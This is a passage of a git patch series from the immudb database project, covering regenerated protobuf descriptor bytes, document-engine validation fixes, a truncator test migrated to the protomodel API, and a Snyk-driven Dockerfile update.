0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, - 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x3a, 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, 0x0a, 0x07, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, - 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, 0x0a, 0x12, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x1a, 0x15, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, - 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, - 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, - 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, - 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, + 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, + 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, + 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, + 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( From 4cd9b0f12e66487e76b61c03ae262e32cf060e91 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 19:48:31 -0300 Subject: [PATCH 0506/1062] fix(embedded/document): validate doc is properly initialized Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 2ba667d8af..ed593169f1 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -457,7 +457,7 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti rows := make([]*sql.RowSpec, len(docs)) for i, doc := range docs { - if doc == nil { + if doc == nil || len(doc.Fields) == 0 { doc = &structpb.Struct{ Fields: make(map[string]*structpb.Value), } From 60215ce1daac43006a9a2b1abbb7ee9a47397aec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 19:51:52 -0300 Subject: [PATCH 0507/1062] fix(embedded/document): validate doc is properly initialized Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index ed593169f1..e4ad5d199d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -552,8 +552,10 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru } func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { - if doc == nil { - return 0, nil, 0, ErrIllegalArguments + if doc == nil || len(doc.Fields) == 0 { + doc = &structpb.Struct{ + Fields: make(map[string]*structpb.Value), + } } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) From 583685d914c99cee1187078b9b282f45c8db9015 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 5 May 2023 15:05:19 +0530 Subject: [PATCH 0508/1062] chore: replace schemav2 with protomodel in truncator test --- pkg/database/truncator_test.go | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 1af4c0f56b..8c31fd1e16 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -25,7 +25,7 @@ import ( "time" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" @@ -647,10 +647,13 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { // create new document store // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + _, err := db.CreateCollection(context.Background(), &protomodel.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*schemav2.IndexOption{ - "pincode": newIndexOption(schemav2.IndexType_INTEGER), + Fields: []*protomodel.Field{ + {Name: "pincode", Type: protomodel.FieldType_DOUBLE}, + }, + Indexes: []*protomodel.Index{ + {Fields: []string{"pincode"}}, }, }) require.NoError(t, err) @@ -673,15 +676,14 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { query(t, "SELECT * FROM table1", 0) // get collection - cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) resp := cinfo.Collection - require.Equal(t, 2, len(resp.IndexKeys)) - require.Contains(t, resp.IndexKeys, "_id") - require.Contains(t, resp.IndexKeys, "pincode") - require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + require.Equal(t, 2, len(resp.Indexes)) + require.Contains(t, resp.Indexes[0].Fields, "_id") + require.Contains(t, resp.Indexes[1].Fields, "pincode") }) // insert some data @@ -694,7 +696,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - res, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ + res, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -727,7 +729,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { exec(t, "INSERT INTO table1(name, amount) VALUES('Foo', 0)") exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") - res, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ + res, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -745,15 +747,14 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { t.Run("succeed loading catalog from latest schema should work", func(t *testing.T) { query(t, "SELECT * FROM table1", 2) - cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) resp := cinfo.Collection - require.Equal(t, 2, len(resp.IndexKeys)) - require.Contains(t, resp.IndexKeys, "_id") - require.Contains(t, resp.IndexKeys, "pincode") - require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + require.Equal(t, 2, len(resp.Indexes)) + require.Contains(t, resp.Indexes[0].Fields, "_id") + require.Contains(t, resp.Indexes[1].Fields, "pincode") }) } From 6995e291533a55bb2033c7b80011e44a3dec0fd0 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Wed, 3 May 2023 19:45:31 +0000 Subject: [PATCH 0509/1062] fix: build/Dockerfile.rndpass to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 --- build/Dockerfile.rndpass | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.rndpass b/build/Dockerfile.rndpass index 7a191873d4..42c1afbaaa 100644 --- a/build/Dockerfile.rndpass +++ b/build/Dockerfile.rndpass @@ -2,7 +2,7 @@ FROM golang:1.18 as build WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static -FROM 